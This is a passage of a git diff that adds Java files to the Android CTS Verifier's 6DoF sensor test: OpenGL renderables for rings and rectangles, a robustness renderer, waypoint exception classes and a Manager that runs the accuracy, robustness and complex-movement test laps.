+                colours[i] = newColor[index];
+            }
+
+            mColorBuffer.put(colours).position(0);
+        }
+    }
+
+    @Override
+    public void destroy() {
+        mPositionBuffer = null;
+        mColorBuffer = null;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/Renderable/Renderable.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/Renderable/Renderable.java
new file mode 100644
index 0000000..ad2de00
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/Renderable/Renderable.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Renderer.Renderable;
+
+import com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils.DrawParameters;
+import com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils;
+
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.X;
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.Y;
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.Z;
+
+import android.opengl.Matrix;
+
+/**
+ * Base class for all Renderables
+ */
+public abstract class Renderable {
+    protected static final int BYTES_PER_FLOAT = 4;
+    protected static final int POSITION_DATA_SIZE = 3;
+    protected static final int COLOUR_DATA_SIZE = 4;
+    protected static final int NORMAL_DATA_SIZE = 3;
+
+    protected int mVertexCount;
+
+    protected int mProgramHandle;
+    protected int mPositionHandle;
+    protected int mMVPMatrixHandle;
+    protected int mMVMatrixHandle;
+
+    private float[] mModelMatrix = new float[MathsUtils.MATRIX_4X4];
+    private float[] mMvMatrix = new float[MathsUtils.MATRIX_4X4];
+    private float[] mMvpMatrix = new float[MathsUtils.MATRIX_4X4];
+
+    /**
+     * Applies the view and projection matrices and draws the Renderable.
+     *
+     * @param drawParameters parameters needed for drawing objects.
+     */
+    public abstract void draw(DrawParameters drawParameters);
+
+    public synchronized void updateMvpMatrix(float[] viewMatrix,
+                                             float[] projectionMatrix) {
+        // Compose the model, view, and projection matrices into a single mvp
+        // matrix
+        Matrix.setIdentityM(mMvMatrix, 0);
+        Matrix.setIdentityM(mMvpMatrix, 0);
+        Matrix.multiplyMM(mMvMatrix, 0, viewMatrix, 0, getModelMatrix(), 0);
+        Matrix.multiplyMM(mMvpMatrix, 0, projectionMatrix, 0, mMvMatrix, 0);
+    }
+
+    public float[] getModelMatrix() {
+        return mModelMatrix;
+    }
+
+    public void setModelMatrix(float[] modelMatrix) {
+        mModelMatrix = modelMatrix;
+    }
+
+    public float[] getMvMatrix() {
+        return mMvMatrix;
+    }
+
+    public float[] getMvpMatrix() {
+        return mMvpMatrix;
+    }
+
+    public synchronized void setRotationAngle(float newAngle) {
+        // Rotate around the Z axis. (only used in robustness test).
+        float[] translations = new float[]
+                {getModelMatrix()[12], getModelMatrix()[13],getModelMatrix()[14]};
+        synchronized (this) {
+            Matrix.setIdentityM(getModelMatrix(), 0);
+            Matrix.rotateM(getModelMatrix(), 0, newAngle, 0.0f, 0.0f, 1.0f);
+            Matrix.translateM(getModelMatrix(), 0,
+                    translations[X], translations[Y], translations[Z]);
+        }
+    }
+
+    public abstract void destroy();
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/Renderable/RingRenderable.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/Renderable/RingRenderable.java
new file mode 100644
index 0000000..6750343
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/Renderable/RingRenderable.java
@@ -0,0 +1,187 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Renderer.Renderable;
+
+import com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils.Colour;
+import com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils.DrawParameters;
+import com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils.ObjImporter;
+import com.android.cts.verifier.sensors.sixdof.Renderer.RenderUtils.ShaderHelper;
+import com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils;
+
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.X;
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.Y;
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.Z;
+
+import android.opengl.GLES20;
+import android.opengl.Matrix;
+
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.FloatBuffer;
+import java.nio.IntBuffer;
+
+/**
+ * Object that needs to be collected by user in last test.
+ */
+public class RingRenderable extends Renderable {
+    private static final int BYTES_PER_INT = 4;
+
+    private FloatBuffer mPositionBuffer;
+    private IntBuffer mIndicesBuffer;
+    private FloatBuffer mNormalsBuffer;
+    private FloatBuffer mColorBuffer;
+    private int mColorHandle;
+    private int mLightPosHandle;
+    private int mLightStrengthHandle;
+    private int mNormalHandle;
+
+    public RingRenderable(float[] position, float[] rotation, float[] upVector) {
+        // Reset the model matrix to the identity.
+        Matrix.setIdentityM(getModelMatrix(), 0);
+
+        float[] overallTransformation = new float[MathsUtils.MATRIX_4X4];
+        Matrix.setIdentityM(overallTransformation, 0);
+
+        // Rotation
+        float[] rotationTransformation = new float[MathsUtils.MATRIX_4X4];
+        Matrix.setIdentityM(rotationTransformation, 0);
+        // The rotation given is relative to the position of the ring, so we have to calculate the
+        // rotation as if we where at the origin.
+        MathsUtils.setLookAtM(rotationTransformation,
+                0.0f, 0.0f, 0.0f,
+                rotation[X], rotation[Y], rotation[Z],
+                upVector[X], upVector[Y], upVector[Z]);
+
+        Matrix.multiplyMM(overallTransformation, 0, rotationTransformation, 0, overallTransformation, 0);
+
+        // Translation
+        float[] translationTransformation = new float[MathsUtils.MATRIX_4X4];
+        Matrix.setIdentityM(translationTransformation, 0);
+        Matrix.translateM(translationTransformation, 0, position[X], position[Y], position[Z]);
+
+        // Apply translation to rotation.
+        Matrix.multiplyMM(overallTransformation, 0, translationTransformation, 0, overallTransformation, 0);
+        // Apply transformation to model matrix.
+        Matrix.multiplyMM(getModelMatrix(), 0, overallTransformation, 0, getModelMatrix(), 0);
+    }
+
+    /**
+     * Initialise the ring with data from the .obj file.
+     */
+    public void initialise(ObjImporter.ObjectData ringData) {
+        mVertexCount = ringData.getIndicesData().length;
+
+        int colourCount = mVertexCount * COLOUR_DATA_SIZE; // Vertex count * rgba
+        float[] colours = new float[colourCount];
+
+        for (int i = 0; i < colourCount; i++) {
+            int index = i % COLOUR_DATA_SIZE;
+            colours[i] = Colour.YELLOW[index];
+        }
+
+        // Initialize the buffers.
+        mPositionBuffer = ByteBuffer.allocateDirect(ringData.getVertexData().length * BYTES_PER_FLOAT)
+                .order(ByteOrder.nativeOrder()).asFloatBuffer();
+        mColorBuffer = ByteBuffer.allocateDirect(colours.length * BYTES_PER_FLOAT)
+                .order(ByteOrder.nativeOrder()).asFloatBuffer();
+        mNormalsBuffer = ByteBuffer.allocateDirect(ringData.getNormalsData().length * BYTES_PER_FLOAT)
+                .order(ByteOrder.nativeOrder()).asFloatBuffer();
+        mIndicesBuffer = ByteBuffer.allocateDirect(ringData.getIndicesData().length * BYTES_PER_INT)
+                .order(ByteOrder.nativeOrder()).asIntBuffer();
+
+        mPositionBuffer.put(ringData.getVertexData()).position(0);
+        mColorBuffer.put(colours).position(0);
+        mNormalsBuffer.put(ringData.getNormalsData()).position(0);
+        mIndicesBuffer.put(ringData.getIndicesData()).position(0);
+
+        final String vertexShader = ShaderHelper.getAugmentedRealityVertexShader();
+        final String fragmentShader = ShaderHelper.getAugmentedRealityFragmentShader();
+
+        final int vertexShaderHandle =
+                ShaderHelper.compileShader(GLES20.GL_VERTEX_SHADER, vertexShader);
+        final int fragmentShaderHandle =
+                ShaderHelper.compileShader(GLES20.GL_FRAGMENT_SHADER, fragmentShader);
+
+        mProgramHandle = ShaderHelper.createAndLinkProgram(vertexShaderHandle, fragmentShaderHandle,
+                new String[]{"a_Position", "a_Color", "a_Normal"});
+    }
+
+    @Override
+    public void draw(DrawParameters drawParameters) {
+        GLES20.glUseProgram(mProgramHandle);
+
+        // Set program handles for camera preview drawing.
+        mMVPMatrixHandle = GLES20.glGetUniformLocation(mProgramHandle, "u_MVPMatrix");
+        mMVMatrixHandle = GLES20.glGetUniformLocation(mProgramHandle, "u_MVMatrix");
+        mPositionHandle = GLES20.glGetAttribLocation(mProgramHandle, "a_Position");
+        mColorHandle = GLES20.glGetAttribLocation(mProgramHandle, "a_Color");
+
+        // Used to calculate shadows.
+        mLightPosHandle = GLES20.glGetUniformLocation(mProgramHandle, "u_LightPos");
+        mLightStrengthHandle = GLES20.glGetUniformLocation(mProgramHandle, "u_LightStrength");
+        mNormalHandle = GLES20.glGetAttribLocation(mProgramHandle, "a_Normal");
+
+        // Calculate lighting information
+        float[] lightPosInEyeSpace = drawParameters.getLight()
+                .getPositionInEyeSpace(drawParameters.getViewMatrix());
+        GLES20.glUniform3f(mLightPosHandle,
+                lightPosInEyeSpace[X], lightPosInEyeSpace[Y], lightPosInEyeSpace[Z]);
+        GLES20.glUniform1f(mLightStrengthHandle, drawParameters.getLight().getStrength());
+
+        updateMvpMatrix(drawParameters.getViewMatrix(), drawParameters.getProjectionMatrix());
+        drawRing();
+    }
+
+    private void drawRing() {
+        // Pass in the position information
+        mPositionBuffer.position(0);
+        GLES20.glVertexAttribPointer(mPositionHandle, POSITION_DATA_SIZE, GLES20.GL_FLOAT, false,
+                0, mPositionBuffer);
+
+        GLES20.glEnableVertexAttribArray(mPositionHandle);
+
+        // Pass in the modelview matrix.
+        GLES20.glUniformMatrix4fv(mMVMatrixHandle, 1, false, getMvMatrix(), 0);
+
+        // Pass in the combined matrix.
+        GLES20.glUniformMatrix4fv(mMVPMatrixHandle, 1, false, getMvpMatrix(), 0);
+
+        // Pass in the color information
+        mColorBuffer.position(0);
+        GLES20.glVertexAttribPointer(mColorHandle, COLOUR_DATA_SIZE, GLES20.GL_FLOAT, false,
+                0, mColorBuffer);
+
+        GLES20.glEnableVertexAttribArray(mColorHandle);
+
+        // Pass in the normal information
+        mNormalsBuffer.position(0);
+        GLES20.glVertexAttribPointer(mNormalHandle, NORMAL_DATA_SIZE, GLES20.GL_FLOAT, false,
+                0, mNormalsBuffer);
+
+        GLES20.glEnableVertexAttribArray(mNormalHandle);
+
+        // Draw the ring.
+        GLES20.glDrawArrays(GLES20.GL_TRIANGLES, 0, mVertexCount);
+    }
+
+    @Override
+    public void destroy() {
+        mPositionBuffer = null;
+        mIndicesBuffer = null;
+        mNormalsBuffer = null;
+        mColorBuffer = null;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/RobustnessRenderer.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/RobustnessRenderer.java
new file mode 100644
index 0000000..6a5f9e7
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Renderer/RobustnessRenderer.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Renderer;
+
+import android.content.Context;
+
+import com.android.cts.verifier.sensors.sixdof.Renderer.Renderable.RectangleRenderable;
+
+import javax.microedition.khronos.egl.EGLConfig;
+import javax.microedition.khronos.opengles.GL10;
+
+/**
+ * Renderer for the robustness test
+ */
+public class RobustnessRenderer extends BaseRenderer {
+
+    private float[] mRectanglePositionData;
+    private RectangleRenderable mRectangle;
+
+    public RobustnessRenderer(Context context) {
+        super(context);
+    }
+
+    @Override
+    public void onSurfaceCreated(GL10 glUnused, EGLConfig config) {
+        super.onSurfaceCreated(glUnused, config);
+        mRectangle = new RectangleRenderable();
+    }
+
+    @Override
+    public void onSurfaceChanged(GL10 glUnused, int width, int height) {
+        super.onSurfaceChanged(glUnused, width, height);
+        mRectangle.initialiseRectangle(mRectanglePositionData);
+        mProjectionMatrix = mFrustrumProjectionMatrix;
+    }
+
+    public void setLineColor(float[] newColor) {
+        if (mIsValid) {
+            mRectangle.setLineColor(newColor);
+        }
+    }
+
+    public void updateCurrentAngle(float newAngle) {
+        if (mIsValid) {
+            mRectangle.setRotationAngle(newAngle);
+        }
+    }
+
+    public void updateTargetAngle(float newAngle) {
+        if (mIsValid) {
+            mCameraPreview.setRotationAngle(newAngle);
+        }
+    }
+
+    @Override
+    protected void doPreRenderingSetup() {
+        // Set view matrix to one that doesn't move.
+        mViewMatrix = mOrthogonalViewMatrix;
+        // Set projection matrix to show camera preview slightly set back.
+        mProjectionMatrix = mFrustrumProjectionMatrix;
+    }
+
+    @Override
+    protected void doTestSpecificRendering() {
+        // Update the texture with the latest camera frame if there is an update pending.
+        updateCameraTexture();
+
+        mDrawParameters.update(mViewMatrix, mProjectionMatrix);
+        mRectangle.draw(mDrawParameters);
+    }
+
+    @Override
+    protected float[] getCameraCoordinates(float left, float right, float bottom, float top) {
+        // Set rectangle coordinates to be the exact same as the camera preview.
+        mRectanglePositionData = new float[]{
+                2 * left, 2 * top, 0.0f,
+                2 * left, 2 * bottom, 0.0f,
+
+                2 * left, 2 * bottom, 0.0f,
+                2 * right, 2 * bottom, 0.0f,
+
+                2 * right, 2 * bottom, 0.0f,
+                2 * right, 2 * top, 0.0f,
+
+                2 * right, 2 * top, 0.0f,
+                2 * left, 2 * top, 0.0f,
+        };
+
+        return new float[]{
+                2 * left, 2 * top, 0.0f,
+                2 * left, 2 * bottom, 0.0f,
+                2 * right, 2 * top, 0.0f,
+                2 * left, 2 * bottom, 0.0f,
+                2 * right, 2 * bottom, 0.0f,
+                2 * right, 2 * top, 0.0f,
+        };
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Exceptions/WaypointAreaCoveredException.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Exceptions/WaypointAreaCoveredException.java
new file mode 100644
index 0000000..8de7bb6
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Exceptions/WaypointAreaCoveredException.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Utils.Exceptions;
+
+/**
+ * Exception class for not enough area covered by waypoints.
+ */
+public class WaypointAreaCoveredException extends WaypointException {
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Exceptions/WaypointDistanceException.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Exceptions/WaypointDistanceException.java
new file mode 100644
index 0000000..c09d12f
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Exceptions/WaypointDistanceException.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Utils.Exceptions;
+
+/**
+ * Exception class for being too close to the marker waypoints.
+ */
+public class WaypointDistanceException extends WaypointException {
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Exceptions/WaypointException.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Exceptions/WaypointException.java
new file mode 100644
index 0000000..d1fc1d9
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Exceptions/WaypointException.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Utils.Exceptions;
+
+/**
+ * Generic abstract exception class used by the other exceptions.
+ */
+public abstract class WaypointException extends Exception {
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Exceptions/WaypointRingNotEnteredException.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Exceptions/WaypointRingNotEnteredException.java
new file mode 100644
index 0000000..855bfce
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Exceptions/WaypointRingNotEnteredException.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Utils.Exceptions;
+
+/**
+ * Exception class for when a ring has not been entered.
+ */
+public class WaypointRingNotEnteredException extends WaypointException {
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Exceptions/WaypointStartPointException.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Exceptions/WaypointStartPointException.java
new file mode 100644
index 0000000..d2664f9
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Exceptions/WaypointStartPointException.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Utils.Exceptions;
+
+/**
+ * Exception class for the user not going back to the initial marker.
+ */
+public class WaypointStartPointException extends WaypointException {
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Manager.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Manager.java
new file mode 100644
index 0000000..f45071c
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Manager.java
@@ -0,0 +1,374 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Utils;
+
+import com.android.cts.verifier.sensors.sixdof.Dialogs.BaseResultsDialog;
+import com.android.cts.verifier.sensors.sixdof.Interfaces.AccuracyListener;
+import com.android.cts.verifier.sensors.sixdof.Interfaces.BaseUiListener;
+import com.android.cts.verifier.sensors.sixdof.Interfaces.ComplexMovementListener;
+import com.android.cts.verifier.sensors.sixdof.Interfaces.RobustnessListener;
+import com.android.cts.verifier.sensors.sixdof.Renderer.BaseRenderer;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointAreaCoveredException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointDistanceException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointRingNotEnteredException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointStartPointException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.ReferencePath;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.PathUtilityClasses.Ring;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.PathUtilityClasses.RotationData;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.PathUtilityClasses.Waypoint;
+import com.android.cts.verifier.sensors.sixdof.Utils.PoseProvider.PoseData;
+import com.android.cts.verifier.sensors.sixdof.Utils.ResultObjects.ResultObject;
+import com.android.cts.verifier.sensors.sixdof.Utils.TestPhase.AccuracyTest;
+import com.android.cts.verifier.sensors.sixdof.Utils.TestPhase.ComplexMovementTest;
+import com.android.cts.verifier.sensors.sixdof.Utils.TestPhase.RobustnessTest;
+
+import android.content.Context;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+
+/**
+ * Manages all of the tests.
+ */
+public class Manager {
+    private Lap mLap = Lap.LAP_1;
+    public static final int MAX_MARKER_NUMBER = 5;
+    private ReferencePath mReferencePath = new ReferencePath();
+    private AccuracyTest mAccuracyTest;
+    private RobustnessTest mRobustnessTest;
+    private ComplexMovementTest mComplexMovementTest;
+    private TestReport mTestReport;
+    private float mRemainingPath;
+    private long mTimeRemaining;
+
+    public enum Lap {
+        LAP_1,
+        LAP_2,
+        LAP_3,
+        LAP_4,
+    }
+
+    private ComplexMovementListener mComplexMovementListener;
+    private RobustnessListener mRobustnessListener;
+    private AccuracyListener mAccuracyListener;
+    private BaseUiListener mBaseUiListener;
+
+    /**
+     * Links the listeners to the activity.
+     *
+     * @param context reference to the activity.
+     */
+    public void setupListeners(Context context) {
+        mAccuracyListener = (AccuracyListener) context;
+        mRobustnessListener = (RobustnessListener) context;
+        mComplexMovementListener = (ComplexMovementListener) context;
+        mBaseUiListener = (BaseUiListener) context;
+    }
+
+    /**
+     * Removes the references to the activity so that the activity can be properly terminated.
+     */
+    public void stopListening() {
+        mRobustnessListener = null;
+        mAccuracyListener = null;
+        mBaseUiListener = null;
+        mComplexMovementListener = null;
+    }
+
+    public void ringEntered(Ring ring) {
+        mComplexMovementListener.onRingEntered(ring);
+    }
+
+    /**
+     * Indicated that the pose provider is ready.
+     */
+    public void onPoseProviderReady() {
+        mBaseUiListener.onPoseProviderReady();
+    }
+
+    /**
+     * Constructor for the class.
+     *
+     * @param testReport a reference to the test report to be used to record failures.
+     */
+    public Manager(TestReport testReport) {
+        mTestReport = testReport;
+    }
+
+    /**
+     * Adds the waypoint data to the appropriate path.
+     *
+     * @param coordinates   the coordinates to use for the waypoint.
+     * @param userGenerated indicates whether the data was user created or system created.
+     * @throws WaypointDistanceException    if the location is too close to another.
+     * @throws WaypointAreaCoveredException if the area covered by the user is too little.
+     * @throws WaypointStartPointException  if the location is not close enough to the start.
+     */
+    public void addPoseDataToPath(
+            float[] coordinates, boolean userGenerated)
+            throws WaypointAreaCoveredException, WaypointDistanceException,
+            WaypointStartPointException, WaypointRingNotEnteredException {
+        switch (mLap) {
+            case LAP_1:
+                try {
+                    mReferencePath.createWaypointAndAddToPath(coordinates, userGenerated, mLap);
+                } catch (WaypointStartPointException exception) {
+                    float[] initialCoords = mReferencePath.getPathMarkers().get(0).getCoordinates();
+                    String initialWaypointCoords =
+                            MathsUtils.coordinatesToString(initialCoords);
+                    String distance = String.valueOf(
+                            MathsUtils.distanceCalculationInXYZSpace(
+                                    initialCoords, coordinates));
+                    String details = "Not close enough to initial waypoint:\n"
+                            + "Distance:"
+                            + distance
+                            + "\nInitial Waypoint Coordinates: "
+                            + initialWaypointCoords
+                            + "\nAttempted placement coordinates: "
+                            + MathsUtils.coordinatesToString(coordinates);
+                    mTestReport.setFailDetails(details);
+
+                    // We still need to give the exception to UI to display message.
+                    throw exception;
+                }
+
+                if (mReferencePath.getPathMarkersSize() == MAX_MARKER_NUMBER) {
+                    mAccuracyListener.lap1Complete();
+                }
+                break;
+            case LAP_2:
+                mAccuracyTest.addWaypointDataToPath(coordinates, userGenerated, mLap);
+                break;
+            case LAP_3:
+                mRobustnessTest.addWaypointDataToPath(coordinates, userGenerated, mLap);
+                break;
+            case LAP_4:
+                mComplexMovementTest.addWaypointDataToPath(coordinates, userGenerated, mLap);
+                break;
+            default:
+                throw new AssertionError("addPoseDataToPath default: Unrecognised lap", null);
+        }
+        if (userGenerated) {
+            mBaseUiListener.onWaypointPlaced();
+        }
+    }
+
+    /**
+     * Removes the last marker from the current lap.
+     */
+    public void removeLastAddedMarker() {
+        boolean resetTest;
+        switch (mLap) {
+            case LAP_1:
+                resetTest = mReferencePath.removeLastMarker();
+                break;
+            case LAP_2:
+                resetTest = mAccuracyTest.removeLastAddedMarker();
+                break;
+            case LAP_3:
+                resetTest = mRobustnessTest.removeLastAddedMarker();
+                break;
+            case LAP_4:
+                resetTest = mComplexMovementTest.removeLastAddedMarker();
+                break;
+            default:
+                throw new AssertionError("removeLastAddedMarker default: Unrecognised lap", null);
+        }
+        if (resetTest) {
+            mAccuracyListener.onReset();
+        }
+    }
+
+    /**
+     * Initiates the accuracy test.
+     */
+    public void startAccuracyTest() {
+        mAccuracyTest = new AccuracyTest(mReferencePath, mTestReport, this);
+        mLap = Lap.LAP_2;
+    }
+
+    /**
+     * Initiates the robustness test.
+     */
+    public void startRobustnessTest() {
+        mRobustnessTest = new RobustnessTest(mReferencePath, mTestReport, this,
+                BaseRenderer.getDeviceRotation((Context) mBaseUiListener));
+        mLap = Lap.LAP_3;
+
+    }
+
+    /**
+     * Initiates the complex movement test.
+     */
+    public void startComplexMovementTest() {
+        mComplexMovementTest = new ComplexMovementTest(mReferencePath, mTestReport, this);
+        mLap = Lap.LAP_4;
+    }
+
+    /**
+     * Indicates that the accuracy test has been completed.
+     *
+     * @param passList A list to indicate whether the test passes or not.
+     */
+    public void onAccuracyTestCompleted(HashMap<BaseResultsDialog.ResultType, Boolean> passList) {
+        mBaseUiListener.onResult(new ResultObject(passList));
+    }
+
+    /**
+     * Indicates that the robustness test has been completed.
+     *
+     * @param robustnessTestResults List containing information about whether the tests failed or
+     *                              passed.
+     */
+    public void onRobustnessTestCompleted(HashMap<BaseResultsDialog.ResultType, Boolean> robustnessTestResults) {
+        ResultObject robustnessResult = new ResultObject(robustnessTestResults);
+        mBaseUiListener.onResult(robustnessResult);
+    }
+
+    /**
+     * Indicates that the complex movement test has been completed.
+     *
+     * @param complexMovementTestResults List containing information about whether the tests failed
+     *                                   or passed.
+     */
+    public void onComplexMovementTestCompleted(HashMap<BaseResultsDialog.ResultType, Boolean> complexMovementTestResults) {
+        ResultObject complexMovementResult = new ResultObject(complexMovementTestResults);
+
+        if (complexMovementResult.hasPassed()) {
+            mTestReport.setTestState(TestReport.TestStatus.PASS);
+        }
+
+        mBaseUiListener.onResult(complexMovementResult);
+    }
+
+    /**
+     * Sets the path remaining for the user to travel.
+     */
+    public void calculateRemainingPath() {
+        mRemainingPath = mReferencePath.calculatePathRemaining();
+    }
+
+    /**
+     * Uses the current rotation and location to calculate the rotation detail's. Also gives the UI
+     * information about the rotation.
+     *
+     * @param rotations   Quaternion containing the current rotation.
+     * @param translation The location the rotation occurred.
+     */
+    public void calculateRotationData(float[] rotations, float[] translation) {
+        RotationData rotationData = mRobustnessTest.getRotationData(rotations, translation);
